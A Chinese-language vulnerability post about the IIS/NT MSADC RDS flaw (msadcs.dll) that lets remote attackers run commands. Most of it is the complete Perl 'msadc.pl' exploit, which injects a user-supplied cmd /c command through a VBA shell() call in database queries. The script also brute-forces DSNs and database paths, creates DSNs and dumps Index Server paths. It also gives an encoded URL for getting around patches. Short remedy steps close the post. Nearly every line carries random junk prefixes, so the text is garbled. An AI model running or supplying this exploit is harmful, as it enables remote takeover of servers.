IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
shjc`Tqm $hexJzX 涉及程序:
u6o:~=WwM Microsoft NT server
MfNxd
6w R=uzm=&nR 描述:
S~BBBD 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
C9^[A4O@X! nulCk33x'= 详细:
+<5q8{]Pk 如果你没有时间读详细内容的话,就删除:
l ;"v&? c:\Program Files\Common Files\System\Msadc\msadcs.dll
`#O%ZZ+ 有关的安全问题就没有了。
k
I{)" kev|AU (WX 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
~{Gbu oH f681i(q" 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
G-`4TQ 关于利用ODBC远程漏洞的描述,请参看:
2'O2n]{ 2$=U#!OtU http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm Ore>j+ B/"TaXVU 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
32yGIRV http://www.microsoft.com/security/bulletins/MS99-025faq.asp AY]dwKw ><<(6 这里不再论述。
'@4Myg* b L $R"?O7 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
W?y7mw_S cd_\?7 /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
a]0B{ 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
P2HR4`c [ .]x y Ziclw) #将下面这段保存为txt文件,然后: "perl -x 文件名"
a%\6L :H9\nU1
#!perl
G- _h 2 #
~Mk{2;x # MSADC/RDS 'usage' (aka exploit) script
%6A."sePO #
Be~__pd # by rain.forest.puppy
E?\&OeAkO #
Xe ;Eu # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
rGa@!^hk # beta test and find errors!
0r<?Ve w ;;yw3 use Socket; use Getopt::Std;
#vwK6'z getopts("e:vd:h:XR", \%args);
tX'`4!{@+ P
X9GiJN " print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
zL8Z8eh"> TA2HAMx) if (!defined $args{h} && !defined $args{R}) {
\"]KF8c^_ print qq~
^?+qNbK Usage: msadc.pl -h <host> { -d <delay> -X -v }
]~a;tF>Fw
-h <host> = host you want to scan (ip or domain)
7j,-o -d <seconds> = delay between calls, default 1 second
l=|>9,La -X = dump Index Server path table, if available
5OHg% ^ -v = verbose
E[$"~|7|$ -e = external dictionary file for step 5
*R'r=C` ,W8EU Or a -R will resume a command session
}I}/e
v KU]co4]8^s ~; exit;}
{oXU)9vj "Wz8f $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
vR"?XqgZ if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
Dx)>`yJk$; if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
7pllzy if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
1iA0+Ex(j $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
(M0"I1g|w if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
:k; c|MW X| !VjUH if (!defined $args{R}){ $ret = &has_msadc;
8k( zU>^ die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
eeVDU$*e= R"wBDWs print "Please type the NT commandline you want to run (cmd /c assumed):\n"
UC
e{V ]T . "cmd /c ";
.2Q4EbM2 $in=<STDIN>; chomp $in;
7`s*
{ $command="cmd /c " . $in ;
N>TmaUk n%faD if (defined $args{R}) {&load; exit;}
/M :7 %`EyG print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
`e`}dgf0S| &try_btcustmr;
Wtwo1pp (HEi; print "\nStep 2: Trying to make our own DSN...";
opXxtYC@ &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
VGYx( 4,, @o
print "\nStep 3: Trying known DSNs...";
C6?({
QB@ &known_dsn;
@Ojbu@A Ao )\/AR' print "\nStep 4: Trying known .mdbs...";
> `1K0?_ &known_mdb;
~hZr1hT6L ?v
z[Zi if (defined $args{e}){
;tJ}*!z
W print "\nStep 5: Trying dictionary of DSN names...";
4-CGe &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
P5JE = &M }6'%p Bd print "Sorry Charley...maybe next time?\n";
kOE\.}~4 exit;
`@<~VWe5 ,Y&7` m ##############################################################################
KqL+R$??"( ynZp|'b?< sub sendraw { # ripped and modded from whisker
DL*&e|:q sleep($delay); # it's a DoS on the server! At least on mine...
>"q?P^f/ my ($pstr)=@_;
O:]e4r,' socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
E5$Fhc die("Socket problems\n");
BvLC% if(connect(S,pack "SnA4x8",2,80,$target)){
[Ot<8)Jm select(S); $|=1;
Z,~PW#8<& print $pstr; my @in=<S>;
`Hx JE"/ select(STDOUT); close(S);
z',f'3+ return @in;
+h)1NX;o1 } else { die("Can't connect...\n"); }}
}Ip1|Gj 6J]8BHJn+ ##############################################################################
~<Z7\yS) p[K!.vOt+ sub make_header { # make the HTTP request
wpI"kk_@@ my $msadc=<<EOT
NY
GWA4L POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
*=}\cw\A User-Agent: ACTIVEDATA
@iU(4eX Host: $ip
aH&Efz^ Content-Length: $clen
V2SHF Connection: Keep-Alive
=D`:2k~
, +w2 ` ADCClientVersion:01.06
a0jzt!ci Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
C)mR~Ey aF{1V\e --!ADM!ROX!YOUR!WORLD!
uqM=/T^A Content-Type: application/x-varg
%,+&Kl
I Content-Length: $reqlen
YmwXA e: '-BD.^!! EOT
]P96-x ; $msadc=~s/\n/\r\n/g;
r+usMF<' return $msadc;}
pLe[<N eGLB,29g ##############################################################################
Ltk-1zhI @e-2]z sub make_req { # make the RDS request
} 4ZWAzH my ($switch, $p1, $p2)=@_;
q $=[v my $req=""; my $t1, $t2, $query, $dsn;
y
q!{\@- iEx4va-j if ($switch==1){ # this is the btcustmr.mdb query
RB9ZaL\ $query="Select * from Customers where City=" . make_shell();
LMNmG]#! $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
t[ZGY,8 $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
Ri>ZupQ6 Js&.p9S2 elsif ($switch==2){ # this is general make table query
`<6FCn4{X $query="create table AZZ (B int, C varchar(10))";
VsDY,=Ww $dsn="$p1";}
0$_WIk WFTwFm6 elsif ($switch==3){ # this is general exploit table query
NpxgF<G $query="select * from AZZ where C=" . make_shell();
s &f\gp1 $dsn="$p1";}
B dP+>Ij ')TS'p,n elsif ($switch==4){ # attempt to hork file info from index server
k#-%u,t $query="select path from scope()";
2AW*PDncxP $dsn="Provider=MSIDXS;";}
<rFh93 =z4J[8bb elsif ($switch==5){ # bad query
(v&iXD5t $query="select";
xKkXr-yb`f $dsn="$p1";}
8H,k0~D ~
\b~ $t1= make_unicode($query);
# S(b2LEc $t2= make_unicode($dsn);
FzAzAl5 $req = "\x02\x00\x03\x00";
,F n-SrB: $req.= "\x08\x00" . pack ("S1", length($t1));
M[C)b\ $req.= "\x00\x00" . $t1 ;
<b?$-Rx $req.= "\x08\x00" . pack ("S1", length($t2));
x->+wJm@s $req.= "\x00\x00" . $t2 ;
T_d)1m fl $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
}/4),W@< return $req;}
d(K}v\3! x2f=o|]D' ##############################################################################
,'n`]@0?\ >2ha6A[ sub make_shell { # this makes the shell() statement
FQ0PXYh return "'|shell(\"$command\")|'";}
MS]Q\g}U dsg-;*% ##############################################################################
/CUBs! ]_`ICS sub make_unicode { # quick little function to convert to unicode
tNQACM8F; my ($in)=@_; my $out;
RN$>!b/ for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
6m@B.+1 return $out;}
Ed+jSO0 6),!sO?
##############################################################################
g""Ep B}J0d sub rdo_success { # checks for RDO return success (this is kludge)
J06D_'{ my (@in) = @_; my $base=content_start(@in);
yG;@S8zC if($in[$base]=~/multipart\/mixed/){
i7e_~K return 1 if( $in[$base+10]=~/^\x09\x00/ );}
ltKMvGEF return 0;}
EeGTBVms i v.G ##############################################################################
:x3xeVtY 7nsovWp sub make_dsn { # this makes a DSN for us
UjMWSPEBy my @drives=("c","d","e","f");
#|T2`uYotf print "\nMaking DSN: ";
0lOR.}]q foreach $drive (@drives) {
xUTTRJ(\ print "$drive: ";
}D-jTZlC my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
'.jYu7
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
@)wsHW%cjz . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
|D_4 iFC $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
Z@bSkO<Y return 0 if $2 eq "404"; # not found/doesn't exist
{gxP_> if($2 eq "200") {
vpC?JXz=H foreach $line (@results) {
/t*Q"0X5 return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
ZZ
T
9t#~ } return 0;}
*m2?fP\ l&5Tft ##############################################################################
IG:2<G
13 %:3W( sub verify_exists {
;/H/Gn+ my ($page)=@_;
rs,'vV-2\ my @results=sendraw("GET $page HTTP/1.0\n\n");
hZw8*H^tP return $results[0];}
}Syd*%BR[ IZGRQmi" ##############################################################################
R\<d&+q@ XM#nb$gl sub try_btcustmr {
]^Xj!01~ my @drives=("c","d","e","f");
T=RabKVYP my @dirs=("winnt","winnt35","winnt351","win","windows");
qFl|q0\ A M%g2UP foreach $dir (@dirs) {
X3~`~J print "$dir -> "; # fun status so you can see progress
B4 5#-V foreach $drive (@drives) {
Ug384RzHN print "$drive: "; # ditto
<AK9HPxP $reqlen=length( make_req(1,$drive,$dir) ) - 28;
.Hk.'>YR $reqlenlen=length( "$reqlen" );
R7KV
@n $clen= 206 + $reqlenlen + $reqlen;
$<"I*l@ 0M?zotv0# my @results=sendraw(make_header() . make_req(1,$drive,$dir));
yE~D0%Umq if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
saDu'SmYV else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
{ `xC~B h [KCR@__ ##############################################################################
^+0>,-)F ]re}EB\Rs sub odbc_error {
VGc.yM)&
j my (@in)=@_; my $base;
R&$fWV;' my $base = content_start(@in);
Xoha.6$l5 if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
!R@jbM $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
,9MNB3 $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
oS}fr? $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
5"(FilM return $in[$base+4].$in[$base+5].$in[$base+6];}
abCxB^5VL print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
CNhLp# print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
G(ZEP.h`u $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
dk"@2%xJ2d 7-C])9 ##############################################################################
=pTTXo ,gM:s}l!dJ sub verbose {
YQWq*o^: my ($in)=@_;
.8GXpt^U( return if !$verbose;
@sW!g;\T print STDOUT "\n$in\n";}
PIdGis5G <
+kdL ##############################################################################
'4,IGxIq -s1.v$g sub save {
OJh MM- my ($p1, $p2, $p3, $p4)=@_;
)."dqq^ q open(OUT, ">rds.save") || print "Problem saving parameters...\n";
~)zxIO! print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
r8!pk~R5] close OUT;}
hc|#JS2H@y fn.;C ##############################################################################
WQ9Q:F2 gVy`||z sub load {
4#:C t* f my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
SBdd_Fn open(IN,"<rds.save") || die("Couldn't open rds.save\n");
;),,Hk @p=<IN>; close(IN);
E}THG=6 $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
hztqZ: $target= inet_aton($ip) || die("inet_aton problems");
w9mAeGyE print "Resuming to $ip ...";
I$4>_D $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
'Sesh'2
/ if($p[1]==1) {
X?;iSekI4 $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
C7f*Q[ $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
%|1s9?h7\ my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
id" l" if (rdo_success(@results)){print "Success!\n";}
?YUL~P else { print "failed\n"; verbose(odbc_error(@results));}}
VDZOJM)( elsif ($p[1]==3){
]EUQMyR if(run_query("$p[3]")){
Z[B:6\oQ print "Success!\n";} else { print "failed\n"; }}
E|jU8qz>P elsif ($p[1]==4){
7\ZSXQy1W if(run_query($drvst . "$p[3]")){
g_A#WQyh\' print "Success!\n"; } else { print "failed\n"; }}
7%[ YX exit;}
|.$7.8g MOay^{u ##############################################################################
NFC/4 x34GRe!! sub create_table {
B|8|f(tsSa my ($in)=@_;
/ {[p?7x> $reqlen=length( make_req(2,$in,"") ) - 28;
q~Al[`K $reqlenlen=length( "$reqlen" );
rl&.|;5uH; $clen= 206 + $reqlenlen + $reqlen;
)4.-6F7U? my @results=sendraw(make_header() . make_req(2,$in,""));
^FVmP d*1 return 1 if rdo_success(@results);
N2Ysi$ my $temp= odbc_error(@results); verbose($temp);
MJCz %zK return 1 if $temp=~/Table 'AZZ' already exists/;
ZLdIEBi= return 0;}
uu"hu||0_ l N0u1)'2 ##############################################################################
8R-;cBT 5uOz #hN sub known_dsn {
mdo$d-d& # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
4sW~7:vU my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
:z *jl'L "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
x9S9%JG : "banner", "banners", "ads", "ADCDemo", "ADCTest");
?;.=o?e9 @A<~bod foreach $dSn (@dsns) {
JfK4|{@ print ".";
(ss,x CF next if (!is_access("DSN=$dSn"));
*OIBMx#qxn if(create_table("DSN=$dSn")){
I_ kA!^ print "$dSn successful\n";
n3qRt if(run_query("DSN=$dSn")){
)CmHC3 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
]0MuXiR print "Something's borked. Use verbose next time\n";}}} print "\n";}
p=zTY7L DsD? &: ##############################################################################
0IP0zil s&<76kwl sub is_access {
Q#.E-\=^ my ($in)=@_;
jA[")RVG $reqlen=length( make_req(5,$in,"") ) - 28;
{,Rlq
$reqlenlen=length( "$reqlen" );
JAI.NKB3 $clen= 206 + $reqlenlen + $reqlen;
fO
.=i1
E} my @results=sendraw(make_header() . make_req(5,$in,""));
X#K;(.},h my $temp= odbc_error(@results);
45$aq~%as verbose($temp); return 1 if ($temp=~/Microsoft Access/);
q)KOI`A return 0;}
{MTtj4$ (d
(>0YMv ##############################################################################
xU6dRjYhH9 TeO'E<@ sub run_query {
kHhku!CH my ($in)=@_;
^U96p0H"T $reqlen=length( make_req(3,$in,"") ) - 28;
I0=L_&`) $reqlenlen=length( "$reqlen" );
t}?-ao $clen= 206 + $reqlenlen + $reqlen;
N
7Y X my @results=sendraw(make_header() . make_req(3,$in,""));
Zy8tI# return 1 if rdo_success(@results);
5zkj;?s my $temp= odbc_error(@results); verbose($temp);
b&
-8/t return 0;}
bd% M., $bfmsCcHL ##############################################################################
+dRRMyxe4 5J1a8RBR sub known_mdb {
+Ar4X-A{y my @drives=("c","d","e","f","g");
K[
S>EITr my @dirs=("winnt","winnt35","winnt351","win","windows");
81!;W t(? my $dir, $drive, $mdb;
o)x&|0_ my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
<RY!Mc v&3"(fp # this is sparse, because I don't know of many
t)g%9 k^ my @sysmdbs=( "\\catroot\\icatalog.mdb",
inZ0iU9dy "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
moh,a B# "\\system32\\certmdb.mdb",
q(L.i)w$ "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
z"QXPIXPk yLK %lP my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
&0 "*.:J9 "\\cfusion\\cfapps\\forums\\forums_.mdb",
mFxt +\ "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
H~SU:B: "\\cfusion\\cfapps\\security\\realm_.mdb",
D ]
n|d+ "\\cfusion\\cfapps\\security\\data\\realm.mdb",
U>m{B|H "\\cfusion\\database\\cfexamples.mdb",
apgKC; "\\cfusion\\database\\cfsnippets.mdb",
-1`}|t; "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
_#+l?\u "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
1uR@ZK "\\cfusion\\brighttiger\\database\\cleam.mdb",
3d7A/7S "\\cfusion\\database\\smpolicy.mdb",
TXS`ey "\\cfusion\\database\cypress.mdb",
V[kn'QkWv "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
0uPcEpIA "\\website\\cgi-win\\dbsample.mdb",
+7nvy^m "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
pGy k61 "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
s{V&vRr ); #these are just
8Q{9AoQ3' foreach $drive (@drives) {
&0:Gj3` foreach $dir (@dirs){
M"u=)CT foreach $mdb (@sysmdbs) {
[KbLEMrPba print ".";
NWQ7%~#k* if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
p>:.js5.a print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
?i\V^3S n$ if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
;C
,
g6{ print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
FeQo,a } else { print "Something's borked. Use verbose next time\n"; }}}}}
_bg Zl jVN=_Y}\ foreach $drive (@drives) {
G\,B*$3
foreach $mdb (@mdbs) {
h4MBw=Tz~ print ".";
0Js5 '
9}H if(create_table($drv . $drive . $dir . $mdb)){
rg]b$tL~ print "\n" . $drive . $dir . $mdb . " successful\n";
@\xEK5 SG if(run_query($drv . $drive . $dir . $mdb)){
}1+2&Ps50 print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
5J&Gc;[p } else { print "Something's borked. Use verbose next time\n"; }}}}
_5O~]} }
%W| Sl MPyDG"B * ##############################################################################
v)nv"o[ {#`wW`U^ sub hork_idx {
R~hIo aiN print "\nAttempting to dump Index Server tables...\n";
Z?3B1o9 print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
m(kv:5<> $reqlen=length( make_req(4,"","") ) - 28;
>9#) obw $reqlenlen=length( "$reqlen" );
=?wDQ: $clen= 206 + $reqlenlen + $reqlen;
QR8]d1+GV my @results=sendraw2(make_header() . make_req(4,"",""));
nGc'xQy0 if (rdo_success(@results)){
PU B0H my $max=@results; my $c; my %d;
0Q,Tcj for($c=19; $c<$max; $c++){
gSyBoY $results[$c]=~s/\x00//g;
$#W^JWN1 $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
TlX:05/V8 $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
]VtP7Y $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
KbK!4 $d{"$1$2"}="";}
*8yC6|wL? foreach $c (keys %d){ print "$c\n"; }
qD=b+\F } else {print "Index server doesn't seem to be installed.\n"; }}
CWYOzqf qt"6~r! ##############################################################################
vk( I7 |Zp')
JiS sub dsn_dict {
[z=!OFdE open(IN, "<$args{e}") || die("Can't open external dictionary\n");
ZC<EPUV( while(<IN>){
Sz')1< $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
p:{L fQ next if (!is_access("DSN=$dSn"));
o54=^@>O<j if(create_table("DSN=$dSn")){
T('rM:)/ print "$dSn successful\n";
lb=fS% if(run_query("DSN=$dSn")){
,pf\g[tz print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
?@`5^7*
print "Something's borked. Use verbose next time\n";}}}
$*P+ print "\n"; close(IN);}
XbFo#Pwk @ptrF
pSL ##############################################################################
[O!/hppN ?6x&A t sub sendraw2 { # ripped and modded from whisker
V|HO*HiB3 sleep($delay); # it's a DoS on the server! At least on mine...
(I>S qM
Y my ($pstr)=@_;
cd=H4:<T5 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
p?P.BU\CR die("Socket problems\n");
m6xbO if(connect(S,pack "SnA4x8",2,80,$target)){
M\IdQY-c print "Connected. Getting data";
oblw!) open(OUT,">raw.out"); my @in;
n:s _2h(u select(S); $|=1; print $pstr;
mc@Z+t' while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
1Ak0A6E close(OUT); select(STDOUT); close(S); return @in;
8. +f@wv } else { die("Can't connect...\n"); }}
HTMo.hr \Ov~ t ##############################################################################
c5O8,sT kXUJlLod sub content_start { # this will take in the server headers
F*Yx1vj my (@in)=@_; my $c;
s+G(N$0U for ($c=1;$c<500;$c++) {
dpt P(H if($in[$c] =~/^\x0d\x0a/){
ZGCp[2$ if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
J\'f5)k else { return $c+1; }}}
bS55/M w return -1;} # it should never get here actually
^U,C])n a_b+RMy ##############################################################################
By}ZHK94I ,,#6SR(n sub funky {
78?{;iNv my (@in)=@_; my $error=odbc_error(@in);
L6!Hv{ijn if($error=~/ADO could not find the specified provider/){
F4Cq85# print "\nServer returned an ADO miscofiguration message\nAborting.\n";
p#rqe<Ua exit;}
>!o!rs if($error=~/A Handler is required/){
Nr]guC? rE print "\nServer has custom handler filters (they most likely are patched)\n";
[=Nv=d<[p exit;}
zqI|VH if($error=~/specified Handler has denied Access/){
7/Bj WU5* print "\nServer has custom handler filters (they most likely are patched)\n";
]lE5^<<
exit;}}
aSHN*tP%y uz=9L<$ ##############################################################################
HoWK#Nz\ `G*fx=N sub has_msadc {
MD,BGO?C my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
9j5Z!Vsy my $base=content_start(@results);
G- ]_
d return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
Cyg(~7] return 0;}
ozHL'H wp4
.~E ########################
"tpD -> X;vUz 8hyXHe 解决方案:
XZ(<Mo\v 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
3qV\XC+ 2、移除web 目录: /msadc